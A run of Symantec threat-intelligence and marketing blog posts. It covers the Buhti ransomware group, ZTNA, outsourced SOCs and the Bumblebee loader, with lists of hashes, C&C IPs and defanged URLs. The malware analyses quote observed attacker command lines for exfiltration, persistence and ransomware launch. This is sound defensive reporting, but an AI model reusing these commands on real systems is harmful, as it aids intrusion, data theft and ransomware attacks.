6398876f73cd0157a7681de4b2326a0a313dc7f9cb2bee3001894137da41c1f0 — HyperBro launcher
c53b6a2ec48647121a3e8816636b34ee2cdd6846d6d05efd9539d17a1c021da0 — HyperBro launcher
c3213937c194246d29dd5fb39d8e7ef3671df58e3f01353784a06a075f21cfc5 — HyperBro launcher
386c9079d65bdd7e3f7b8872024a80992b5d5c6a3c8b971c47d1ef439b9e2671 — HyperBro loader
bfffc43d948d1787622bcde524e51c932a2a1fdc761539f60e777e21ef16e83d — HyperBro loader
018d3a957aa0eaa7a621b52d15f4a1ed18b0f81c477e6023cd80313d83f7dbc0 — HyperBro loader
d4776939dcf78f5f7491b9938480423956ac10a3c576028dec307511c586a124 — HyperBro loader
27c2a9608ce80a443c87a0a2947864df7d4491cfa85608c6a6b6680ec0277f9d — HyperBro loader
42b603fffd4766fa22f6e10884e7fa43f449d515cfa20a18f0d07a6d4c370962 — IOX
0d46907320ab55d98966389f41441aa0341a7db829cd166748d8929d466c9fba — IOX
714d0101039bfd7d3db4dfe8307bc1657b7266ff2528b5e852b752879ebe7113 — IOX
0129c9c7b55a6f514a9fa8c38ce59d8939efda6ece67b90c6be13aec40f1bdab — Viewfinity side-load
df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348 — Viewfinity side-load
620e401b2b7727a6c7ebc37ee1f7d8e1742d7121c1f4ea350a43d460ef9bdc4c — Viewfinity side-load
c8aea84abb476ab536198a36df53b37be3d987a9ce58cb06e93cac7d2bfb3703 — Viewfinity side-load
233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91 — Cobalt Strike
d610547c718fcca7c5c7e02c6821e9909333daf6376a1096edf21f9355754f29 — FRP
5c2d05bfc9b6d4fc7aea32312c62180564fac9f65b0867e824d81051e5fc34fd — Korplug
ed2f501408a7a6e1a854c29c4b0bc5648a6aa8612432df829008931b3e34bf56 — Lazagne
61deb3a206cc203252418b431f6556e3f7efd9556fc685eeda7281d9baf89851 — Lazagne
892663bb4f3080c3f2f1915734897cab1c9ee955a77bb8541b417ec2b03cd4ef — Lazagne
3d7dc77ded4022a92a32db9e10dbc67fbcc80854a281c3cc0f00b6cbd2bfd112 — Trojan Horse
48e81b1c5cc0005cc58b99cefe1b6087c841e952bb06db5a5a6441e92e40bed6 — Trojan.Dropper
5cba27d29c89caf0c8a8d28b42a8f977f86c92c803d1e2c7386d60c0d8641285 — Trojan.Dropper
139.180.146[.]101 — C&C VPS
45.77.46[.]54 — C&C VPS
139.168.200[.].123 — C&C VPS
207.148.76[.]235 — C&C VPS
setting.101888gg[.]com/jquery-3.3.1.min.js — C&C
207.148.76[.]235/jquery-3.3.1.min.js — C&C
|
Buhti: New Ransomware Operation Relies on Repurposed Payloads
Attackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.
A relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.
While the group doesn’t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.
Buhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec’s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.
The group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn’t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.
LockBit rebrand
A recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (aka LockBit Black) ransomware.
Encrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.
Figure 1. Buhti ransom note
The ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.
Figure 2. Embedded LockBit-branded BMP file found in Buhti payload
The ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.
LockBit 3.0 was developed for the Syrphid cyber-crime group (aka Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.
Babuk repurposed
While Buhti came to public attention for targeting Linux machines with a payload written in Golang, analysis by Symantec of multiple Linux payloads found that they were all variants of the leaked Babuk ransomware.
Babuk was one of the first ransomware actors to target ESXi systems with a Linux payload. Babuk’s source code was leaked in 2021 and since then has been adopted and reused by multiple ransomware operations.
The ransom note dropped by Linux variants was identical to that of the Windows payload; with only the payment address differing.
Exfiltration tool
Blacktail does appear to use at least one piece of custom malware, a data-exfiltration tool (SHA256: 9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd).
Written in Golang, it is designed to steal the following file types: .pdf, .php, .png, .ppt, .psd, .rar, .raw, .rtf, .sql, .svg, .swf, .tar, .txt, .wav, .wma, .wmv, .xls, .xml, .yml, .zip, .aiff, .aspx, .docx, .epub, .json, .mpeg, .pptx, .xlsx, .yaml. Copied files are placed into a .zip archive, which is created using an open source utility called zip.
The tool can be configured via command-line arguments to specify both the directory to search for files of interest in and the name of the output archive. The -o argument in the command line specifies the archive to be created. The -d argument specifies the directory to search for files of interest in. For example:
CSIDL_WINDOWS\temp\xhfw.exe -o CSIDL_WINDOWS\temp\output.zip -d CSIDL_PROFILE
Vulnerability exploitation
Recent Buhti attacks exploited a recently discovered vulnerability in PaperCut NG and MF (CVE-2023-27350). The exploit allows an attacker to bypass authentication and remotely execute code. The vulnerability was disclosed and patched by PaperCut on March 15, 2023, and in recent weeks multiple threat actors have begun utilizing the exploit against unpatched systems.
The attackers exploited the vulnerability in order to install Cobalt Strike, Meterpreter, Sliver, AnyDesk, and ConnectWise. The tools were leveraged to steal data from, and deliver the ransomware payload to, multiple computers on the targeted network.
Blacktail appears quick to utilise new exploits. In February, they were reported to be exploiting a vulnerability in IBM’s Aspera Faspex file-exchange application (CVE-2022-47986).
Dangerous adversary
While the reuse of leaked payloads is often the hallmark of a less-skilled ransomware operation, Blacktail’s general competence in carrying out attacks, coupled with its ability to recognize the utility of newly discovered vulnerabilities, suggests that it is not to be underestimated.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)
eda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)
e5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)
d65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)
d259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)
8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)
898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)
515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)
4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)
22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)
18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)
01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)
7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)
287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)
32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon
5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon
d59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon
de052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon
65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter
8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter
8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter
97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a – Meterpreter
c33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter
9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter
9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool
ca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool
bdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver
91.215.85[.]183
81.161.229[.]120
|
Building Secure Access for Global Business with Zero Trust Network Access (ZTNA)
Providing secure access to employees, customers, partners, and third parties
The ability to provide secure access to employees, customers, partners, and other third parties is essential for any business today. In this blog series, Symantec partner Braxton-Grant will look at why ZTNA is increasingly playing a critical role in providing that access and key factors to consider when selecting and implementing ZTNA solutions.
With return-to-office mandates in flux, the need to provide secure access for employees, customers, and partners has never been greater. The good news is that no matter what your company design looks like today, Zero Trust Network Access (ZTNA) solutions can provide invaluable protection.
ZTNA is a subset of Zero Trust that deals with identity and access management for users who are accessing an organization’s applications. As a Broadcom Knight certified on Symantec ZTNA, I work closely with our customers throughout the various stages of their Zero Trust journey – a journey that always begins with identity.
Never trust, always verify
Secure access can no longer be based on whether a user sits in the office. Instead, policy needs to be built on something more tangible – identity. Do you remember “stranger danger,” a term that we learned as kids? The concept has been applied to network access: Implicit trust has been eliminated – just because I know who you are today and what you're accessing, doesn't mean five minutes from now you haven't been maliciously overtaken, or your system hasn't been compromised. Zero Trust requires constant awareness and verification: Who are you? Are you still in control of your system? Has your behavior changed?
ZTNA is a component of the Zero Trust journey. As Kyle Black, Security Strategist for Symantec, a division of Broadcom, explained, “ZTNA sits in the middle of the transaction between users and their applications. With ZTNA, users never access the network but go directly to their applications.” The foundation of ZTNA is the principle of least privilege that limits users' access rights to applications: I only want to provide access to what's necessary; I want to prevent the opportunity for someone to do something, malicious, intentionally or not, or maybe reach things that are not necessary for their job. Role-based Access Control (RBAC) helps ensure user privileges are not escalated.
Popular use cases for ZTNA include:
Secure remote work: Today’s enterprise users work from anywhere. Organizations need to provide restricted access to corporate internal resources, whether they are working remotely or at headquarters. ZTNA can help validate users and provide the necessary security controls to allow them access only to their assigned resources, even when accessing them from outside the controls of the on-premises security solutions. You may only need to give users access to one application, one system, or one file in the network – not everything. First, identify all the identity sources (contractors, partners, vendors) you need to ingest and any gaps in coverage. What groups of users and identities do I need to build policy on?
Merger/Acquisition: An organization has acquired a new company or subdivision but is not completely ready to merge the two networks because the company is still evaluating its assets. By using ZTNA to onboard your new users, you can uphold the parent corporation's requirements starting Day One. You now can install security controls without taking away the productivity of a user group or the organization or business unit that you acquired. ZTNA enables you to still figure out who's who, what groups they're a part of and what applications they need, and then build in appropriate secure access.
IT consulting: The secure access challenges for consulting are very similar to mergers and acquisitions. For example, an organization may need to allow contractors to access certain files temporarily but doesn’t feel comfortable letting them access the company’s full network environment or giving them a company laptop. The company may also want to prevent that user from unintentionally harming other things and trying to get access to things that they don't need. ZTNA provides guided time-based access so users can still have what they need to be productive in their jobs. ZTNA can provide restricted secure access, based on policy, and reduces the need for VPNs.
Data compliance: What is it in my organization that I need to protect? Once I identify those assets, data compliance is about enforcing your DLP policies and other protection measures. I need to make sure that the user is effective, but I also need to make sure that my resources are not downloaded to unsecured corporate devices or that only specific things are allowed access by unsecured non-corporate devices. ZTNA ensures that my data, when it moves, is protected, and reduces the risk of a data leak.
ZTNA meets data protection
Although breaches are inevitable, ZTNA can significantly reduce your risk. Yet once I figure out who you are, I next need to determine what data you are accessing: What protection do I need to put around that data? When can that data move? When must it not move? What data should be protected more stringently in certain circumstances than others? In the next article in this series, we’ll explore the importance of data protection and how ZTNA can help your organization.
|
Building Your SOC Need Not Be a Zero-Sum Game
As your organization builds out parts of your security operations, don’t forget that cyber security thrives on collaboration
When it comes to cyber security war stories, file this one under the heading: “Don’t Try This at Home.”
I once worked with a client who was convinced they could save a lot of money by building their own security operations center (SOC) without any more help from us or, for that matter, any other security vendor.
They wound up investing an enormous amount of money to ramp up their security operations capabilities. They purchased intelligence feeds while staffing up and acquired all the latest tools to be sure they could cover every contingency.
On paper, it looked awesome! In practice, it was a disaster. Not only had the system grown too complicated to run, it failed miserably when it came to achieving what they were solving for: protecting the organization’s crown jewels from attack.
But there was a happy ending.
After years of investment and effort with scattershot returns, the client’s leadership realized a change was needed. They asked Symantec to help rationalize their processes and reallocate their people while peeling back the pieces of their environment that didn't deliver the level of cyber security that they expected or needed. In the end, the client saved money and became more secure. This was by no means an easy task and credit goes to those people in charge for having the gravitas to make the tough decisions and course correct.
Forget the Extremes
It’s not a unique story. As you might guess, many organizations want to outsource everything, including risk management and decision making, while others don’t trust anyone but themselves to do everything.
Neither extreme is appealing.
The question is how far to go and in what direction? Working through this problem is a valuable intellectual exercise that forces leaders to ask the tough security and risk management questions. The process also clarifies the issues to think through to properly allocate and organize resources defensively and offensively to secure your organization at the right price. Having faced this problem as a CSO and worked through the challenges with countless security chiefs, it’s best to frame this as a division of labor problem.
A top-flight Managed Security Services Provider (MSSP) will always be more capable when it comes to detection and response than almost any DIY organization for at least three reasons:
Analytics backed up by intelligence – At Symantec, we detect over 40% more than just eyes on glass
No company or industry blinders – An MSSP analyst’s range of daily experience and interaction allows insight into patterns that a more narrowly focused “inside” analyst will miss
Time and talent acquisition are on our side – MSSPs have the capacity to work around the clock cost-effectively and, because their analysts ‘see’ more attacks than any one organization, they naturally attract the best analysts who share a common trait: to learn. A safe journey requires an experienced guide, whether it’s the basics of monitoring and detection or the most advanced Managed Endpoint Detection and Response and Incident Response solutions.
Avoiding Potential Pitfalls
I often tell my team that when I was a CSO running my company’s SOC, I never, ever had to pay for lunch.
Why you ask? There was always a sales person from yet another security vendor standing at the front door, waiting to take me out for a meal if only I would listen to their pitch.
Some of the people who walked through my door were indeed very good. Others were only interested in getting my signature on the dotted line.
Here’s where a trusted partner can play a critical role. A common mistake of the “Go it Alone” crowd is the failure to find a partner they can depend on to provide thoughtful, useful perspectives and help them create a well-balanced SOC organization. Good leaders should be ready to vet options and ask searching questions such as, “Is my endpoint protection sufficient?” or “Should I deploy my scarce resources on detection or response and at the first basic tier or most sophisticated levels?”
On top of that, a good partner can address how you shape your process and policies. For instance, what’s required from a compliance perspective? How should your SOC be integrated into the intelligence process of your organization so that you can start to play offense as opposed to remaining on your haunches just playing defense? You’re not going to get that feedback from someone only looking to make a quick buck by convincing you to buy their latest product.
That’s why you’re going to need a partner, perhaps even more than one, to ensure that the different pieces of your operation work together. Now, with no malice toward consultants generally, you should expect a trusted security partner not to bill you “by the answer”, but rather their insight comes with the service.
Your SOC is going to be different than the one down the street but in the end, it will be all about the fundamentals - being able to prevent, detect and respond.
As an example, Symantec MSS’s dedicated onboarding squad will work with customers throughout the life of the relationship because after the initial on-boarding, upgrades, version changes, and acquisitions result in continuous on-boarding and tuning. You’re constantly facing new challenges. You’ll need a partner to help you adapt, adjust, and overcome because stuff happens. It’s all part of an ongoing relationship where your partner is sure to understand what the client is solving for. And while the answers vary from company to company, Symantec leverages our global experience to help our clients avoid the familiar and unfamiliar traps. Above all, erase the lines of “us” and “them” to the extent that we’re viewed as an extension of our customer’s team.
Your SOC is going to be different than the one down the street but in the end, it will be all about the fundamentals - being able to prevent, detect and respond. The best way to get there is to make sure that someone’s got your back because when all’s said and done, you can’t avoid the ultimate truth that cyber security remains a team sport.
For the 15th time running, Symantec has been named a Leader in the 2019 Gartner Magic Quadrant for Managed Security Services, Worldwide. Symantec’s MSS can transform an organization’s security program through its integrated services portfolio powered by industry-leading threat intelligence, advanced 24x7 monitoring, incident response and the unequaled human expertise of our global SOC analyst team.
|
Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem
New malware has links with multiple threat actors, including several high-profile ransomware operations.
Bumblebee, a recently developed malware loader, has quickly become a key component in a wide range of cyber-crime attacks and appears to have replaced a number of older loaders, which suggests that it is the work of established actors and that the transition to Bumblebee was pre-planned.
By analysis of three other tools used in recent attacks involving Bumblebee, Symantec’s Threat Hunter team, a part of Broadcom Software, has linked this tool to a number of ransomware operations including Conti, Quantum, and Mountlocker. The tactics, techniques, and procedures (TTPs) used in these older attacks support the hypothesis that Bumblebee may have been introduced as a replacement loader for Trickbot and BazarLoader, since there is some overlap between recent activity involving Bumblebee and older attacks linked to these loaders.
Bumblebee and Quantum: Bumblebee’s role in ransomware delivery
A recent attack involving the Quantum ransomware demonstrates how Bumblebee is now being leveraged by attackers to deliver ransomware.
The initial infection vector was a spear-phishing email with an attachment containing an ISO file. This ISO file contained a Bumblebee DLL file and an LNK file, which loaded the Bumblebee DLL file using rundll32.exe.
rundll32.exe teas.dll,kXlNkCKgFC
Bumblebee supports multiple commands like “Ins” for bot persistence, “Dij” for DLL injection, and “Dex” for downloading executables.
Bumblebee contacted a command-and-control (C&C) server (45.153.243.93) and created a copy in the %APPDATA% folder with a random name, and also created a VBS file at the same location to load the %APPDATA% DLL file.
A scheduled task was created using the Bumblebee “Ins” command to run a VBS file every 15 minutes.
wscript.exe CSIDL_COMMON_APPDATA\e147c18f9167cd0f\f30b25c870238567.vbs
CSIDL_SYSTEM\rundll32.exe" CSIDL_COMMON_APPDATA\e147c18f9167cd0f\f30b25c870238567.dll
After a couple of hours, Bumblebee used the “Dex” command to drop and run a Cobalt Strike payload named “wab.exe” in the %APPDATA% location. It also ran the “systeminfo” command.
wmiprvse.exe --> wab.exe
wmiprvse.exe --> wab.exe --> cmd.exe /C systeminfo
Using the “Dij” command, Bumblebee then injected the Metasploit DLL into the legitimate process “ImagingDevices.exe”, which is a Windows Photo Viewer executable file.
In addition to this, using the “Dij” command Bumblebee injected the Cobalt Strike payload into the legitimate “wab.exe”, which is a Windows Mail executable file.
Bumblebee then dropped the AdFind tool using the “Dij” command and tried to enumerate domain-related information like domain trust, domain users, domain groups, and group permissions, etc.
At this point, Bumblebee dropped the Quantum ransomware using the “Dij” command. The attacker used both DLL and EXE payloads to encrypt files.
rundll32.exe CSIDL_COMMON_APPDATA\2429189468.dll,start \shareall \nolog
CSIDL_COMMON_APPDATA\2431789750.exe /shareall /NOLOG
Quantum collects system information and user information using WMI. It also checks for SQL-related services and stops them if found running. Quantum also checks for some processes related to malware analysis like procmon, wireshark, cmd, task manager, and notepad, and terminates them if found running.
Link 1: The AdFind connection
Tools used in recent Bumblebee attacks have appeared in older attacks, pre-dating Bumblebee’s appearance. In a number of attacks involving Bumblebee beginning in mid-May 2022, a version of AdFind (SHA256: b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682) was also deployed by the attackers. AdFind is a publicly available tool for querying Active Directory and has been widely used by a range of threat actors in recent years.
Similar to the previously mentioned example, malicious ISO files attached to phishing emails were the initial infection vector, with the attackers deploying legitimate ConnectWise remote desktop software (formerly known as ScreenConnect), along with Atera, another legitimate remote access tool, and Meterpreter, a Metasploit in-memory payload that provides a reverse shell to the attacker. In all cases, the attacks never reached the payload stage. However, similarities TTPs used in other attacks suggest that ransomware was the intended payload.
This version of AdFind used in these recent Bumblebee attacks has appeared in attacks dating back as far as June 2021, where it was being used in conjunction with Cobalt Strike to deliver the Avaddon ransomware.
In August 2021, it reappeared during an unsuccessful ransomware attack when it was used alongside a number of other legitimate software packages including AnyDesk, a publicly available remote desktop tool; Splashtop, another remote desktop tool; and 7-Zip, the publicly available archiving tool. The attack was halted before a ransomware payload could be deployed.
During another abortive ransomware attack in May 2022, this variant of AdFind was also deployed. Again, the attackers used Atera in conjunction with Splashtop and AnyDesk. The widely used credential dumping tools Mimikatz and LaZagne were deployed, along with the NetScan network scanner. The attackers also made use of a PowerShell script named cve-2021-34527.ps1 that has previously been linked to Conti’s leaked attack playbook.
This version of AdFind also appeared in attacks involving Quantum ransomware during May 2022. The attackers also used Cobalt Strike; Ligolo, a publicly available tunneling tool created for penetration testing purposes, but which has been used by a number of espionage and ransomware actors; ProcDump for credential dumping; along with Rclone, a legitimate open-source tool that can legitimately be used to manage content in the cloud, but is frequently used by ransomware actors to exfiltrate data.
More recently, this same version of AdFind was used in an attack attempting to deliver the Diavol payload. The initial loader used by the attackers was not discovered, but the AdFind link with Bumblebee activity suggests it may have been used by the attackers.
Link 2: adf.bat
In early June 2022, Bumblebee was used in a thwarted attack. Although the payload wasn’t deployed, the TTPs used suggested ransomware. The attackers made use of a batch script called adf.bat (SHA256: 1e7737a57552b0b32356f5e54dd84a9ae85bb3acff05ef5d52aabaa996282dfb) along the previously mentioned version of AdFind (SHA256: b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682) and another version of AdFind (SHA256: 9d0fa4b88e5b36b8801b55508ab7bc7cda9909d639d70436e972cb3761d34eda).
This adf.bat script has been used in attacks since at least 2021. In September 2021, for example, the file was deployed in what appeared to be an attempted ransomware attack. It was used in conjunction with the previously mentioned version of AdFind (SHA256: b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682); Cobalt Strike; and PowerSploit, an exploitation framework originally developed for penetration testing.
The script was also used in another thwarted ransomware attack in November 2021, again alongside the previously mentioned version of AdFind. Once again the attackers used a number of publicly available tools, including Atera agent and Splashtop, along with Cobalt Strike. While the delivery mechanism wasn’t uncovered, some of the infrastructure used had been previously linked to infrastructure used by BazarLoader, which along with Trickbot, was one of the primary pieces of malware used by the Miner cyber-crime group (aka Wizard Spider). Both were frequently used as part of the delivery mechanism for the group’s ransomware families: Ryuk and Conti.
Link 3: find.exe/adfind.exe
A third version of AdFind (SHA256: 9d0fa4b88e5b36b8801b55508ab7bc7cda9909d639d70436e972cb3761d34eda) has also been used in recent attacks involving Bumblebee. This tool has been used in ransomware attacks for at least a year.
In May 2021, it was used alongside Cobalt Strike in an attempted ransomware attack against a large electronics organization. One feature of this attack was that the attackers installed a VirtualBox VM on some compromised computers. While a VM image was not retrieved, it appeared that the ransomware payload was located on the VM and ran once the operating system was fully booted. The VM likely had access to the host computer’s files and directories (via "SharedFolders" set up by runner.exe), allowing it to encrypt files on the host computer. While the payload wasn’t identified, there were some links to both the Conti and Mountlocker ransomware operations.
In another May 2021 attack it was again used in conjunction with Cobalt Strike in another abortive ransomware attack against an organization in the U.S. While the payload was not deployed, some of the TTPs had links to earlier Conti attacks.
Also in May 2021, this version of AdFind was leveraged along with Cobalt Strike in an attack against an organization in Canada. In this case, the Conti ransomware was used.
Increase in use of legitimate software
Aside from Bumblebee’s links to a range of ransomware attacks, another commonality between many of the attacks investigated is the preponderance of legitimate software tools now being deployed during ransomware attacks. Remote desktop tools such as ConnectWise, Atera, Splashtop, and AnyDesk frequently feature in ransomware investigations, in addition to Rclone, which is now widely leveraged for data exfiltration purposes.
More recently, Symantec has seen attackers using the AvosLocker ransomware leveraging PDQ Deploy in their attacks. PDQ Deploy is a legitimate software package that allows users to manage patching on multiple software packages in addition to deploying custom scripts. At least one affiliate of AvosLocker is now using it to execute malicious PowerShell commands on multiple computers on victims’ networks using PowerShell Empire to deploy the AvosLocker payload.
The Bumblebee threat
Bumblebee’s links to a number of high-profile ransomware operations suggest that it is now at the epicenter of the cyber-crime ecosystem. Any organization that discovers a Bumblebee infection on its network should treat this incident with high priority since it could be the pathway to several dangerous ransomware threats.
Indicators of Compromise
If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.
6804cff68d9824efeb087e1d6ff3f98ed947f002626f04cf8ae7ef26b51e394b – Bumblebee
daf055e5c7f843a3dbe34c3c7b848e5bbe9c53b65df2556b4b450390154af3bb - Bumblebee
7259b7a91df7c9bc78b0830808fe58c6ff66aa79bb856cf1bf50a107875b3651 – Bumblebee
ac20f3f9ed0c1e6b2160976a1dc4167e53fbb8c71b4824a640131acf24c71bfd - Bumblebee
71f91acc6a9162b600ff5191cc22f84a2b726050a5f6d9de292a4deeea0d9803 – Bumblebee
f06566e1e309123e03a6a65cdfa06ce5a95fdd276fb7fcbcb33f5560c0a3cd8c – Cobalt Strike
2e349b3224cc0d958e6945623098c2d28cc8977e0d45480c0188febbf7b8aa78 – Bumblebee
302a25e21eea9ab5bc12d1c5f9e5c119619e617677b307fe0e3044c19581faea – Likely Bumblebee
65e205b500160cbec44911080621d25f02ad7fcfcf2c3e75ce33f6f821a808b8 - Bumblebee-related DLL
905e87d8433fa58f3006ee685bb347024b46550a3ceda0777016f39e88519142 - Bumblebee-related DLL
6727d493d4ecc8cca83ed8bf7af63941175decff7218e599355065ae6c9563c4 - Bumblebee-related DLL
c8db63bfab805179a1297f8b70a90a043581c9260e8c97725f4920ab93c03344 - Bumblebee-related DLL
261b06e30a4a9960e0b0ae173486a4e456c9bd7d188d0f1c9c109bb9e2281b59- Bumblebee-related DLL
24bf01c1a39c6fcab26173e285d226e0c2dcd8ebf86f820f2ba5339ac29086e5 - Bumblebee-related DLL
86d7f7b265aae9eedb36bc6a8a3f0e8ec5fa08071e2e0d21774a9a8e3d4ed9e7 - Bumblebee-related DLL
4c3d85e7c49928af0f43623dcbed474a157ef50af3cba40b7fd7ac3fe3df2f15 – Unconfirmed, possible VM detection tool
b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682 - AdFind
9d0fa4b88e5b36b8801b55508ab7bc7cda9909d639d70436e972cb3761d34eda - AdFind
af.bat 1e7737a57552b0b32356f5e54dd84a9ae85bb3acff05ef5d52aabaa996282dfb – af.bat
adf.bat 5a1b3f9589b468a06e9427eae6b0a855d1df6cb35ab71ddbfa05279579e9cda3 – adf.bat
ee5fbc193f875a2b8859229508ca79a2ffe19d8a120ae8c5ca77b1d17233d268 - wab.exe
5ad4fa74e71fb4ce0a885b1efb912a00c2ce3c7b4ad251ae67e6c3a8676ede02 - wabmig.exe
02ea7b9948dfc54980fd86dc40b38575c1f401a5a466e5f9fbf9ded33eb1f6a7 - wabmig.exe
b722655b93bcb804802f6a20d17492f9c0f08b197b09e8cd57cf3b087ca5a347 - imagingdevices.exe
a60136d7377bc1ba8c161021459e9fe9f49c692bf7b397fea676211a2da4444d – Malicious MSI file
86c564e9fb7e45a7b0e03dd5a6e1c72b7d7a4eb42ebe6aa2e8f8a7894bed4cb5 – VBS file
1825e14e1ea19756b55b5ccec5afbb9c2dba0591403c553a83c842bb0dd14432 - ConnectWise
3dea930cfb0ea48c2ce9f7a8bd98ee37e2feca5fb4da8844890fa2d4f62dd105 - Atera
52f145a4ccc0f540a130bedbf04370a842daff1ee8d8361c75a8e0d21a88cf5a - Atera
update.exe 3b7512cfa21bd65bd5beecc8cb859ab4f7f5538f3caaf0703a68ec14389b357a - ConnectWise
4c6a865771fdb400456b1e8bc9198134ac9d2f66f1654af42b4b8fc67ae018f2 - ConnectWise
fef7d54d6c09a317d95300d10ffcc6c366dbb8f5ebf563dec13b509fff361dc1 - ConnectWise
165b491e5b9e273a61c16de0f592e5047740658c7a2e3047f6bf518a17e59eca - ConnectWise
a8faf08997e11a53f9d38797d997c51c1a3fcf89412c3da8dcca6631c6f314a8 - ConnectWise
01e22210e07708c0b9a0061d0f912041808e48bb8d59f960b545d0b9e11d42d2 - ConnectWise
f5218aaa046776a12b3683c8da4945a0c4c0934e54802640a15152d9dae15d43 - ConnectWise
bc41569c4c9b61f526c78f55993203806d09bb8c3b09dbbeaded61cd1dc2fcc2 - caexec.exe (likely similar to PAExec)
29767c912919cb38903f12c7f41cdd1c5f39fccb9641302c97b981e4b5e31ee5 - vSphere PowerCLI component
911c152d4e37f55bd1544794cc324364b6f03aff118cdf328127355ccc25282a - vSphere PowerCLI component
f5cd44f1d72ef8fc734c76ca62879e1f1cb4c0603cfdc0b85b5ad6ad8326f503 - vSphere PowerCLI component
0650722822e984da41d77b90fbd445f28e96a90af87043581896465c06ed1e44 – ConnectWise
f01a3f2186e77251acfac9d53122a1579182bde65e694487b292a8e09cf8d465 – Cobalt Strike
290b698d41525c4c74836ca934c0169a989a5eafde7208d90300a17a3f5bd408 – Ransom.Quantum
3d41a002c09448d74070a7eb7c44d49da68b2790b17337686d6dd018012db89d – Ransom.Quantum
51.68.146.200 - AS16276 OVH SAS
154.56.0.221 - AS60602 Inovare-Prim SRL
3.85.198.66 - AS14618 AMAZON-AES
3.144.143.242 - AS16509 AMAZON-02
adaptivenet[.]hostedrmm[.]com
hxxp://127.0.0[.]1:[high-ephemeral-port]/
hxxps://ec2-3-144-143-242.us-east-2.compute.amazonaws[.]com
hxxps://ec2-3-85-198-66[.]compute-1.amazonaws[.]com
adaptivenet[.]hostedrmm[.]com / 52.53.233.237 - AS16509 AMAZON-02
hxxp://adaptivenet[.]hostedrmm[.]com/LabTech/Updates/LabtechUpdate_220.124.zip
hxxp://adaptivenet[.]hostedrmm[.]com/LabTech/Updates/LabtechUpdate_220.77.zip
hxxp://adaptivenet[.]hostedrmm[.]com/LabTech/transfer/tools/caexec.exe
hxxp://adaptivenet[.]hostedrmm[.]com/LabTech/Deployment.aspx?Probe=79EA559BB87BF3C8403C40586993D4AC&ID=660
URLs containing URI string "/LabTech/"
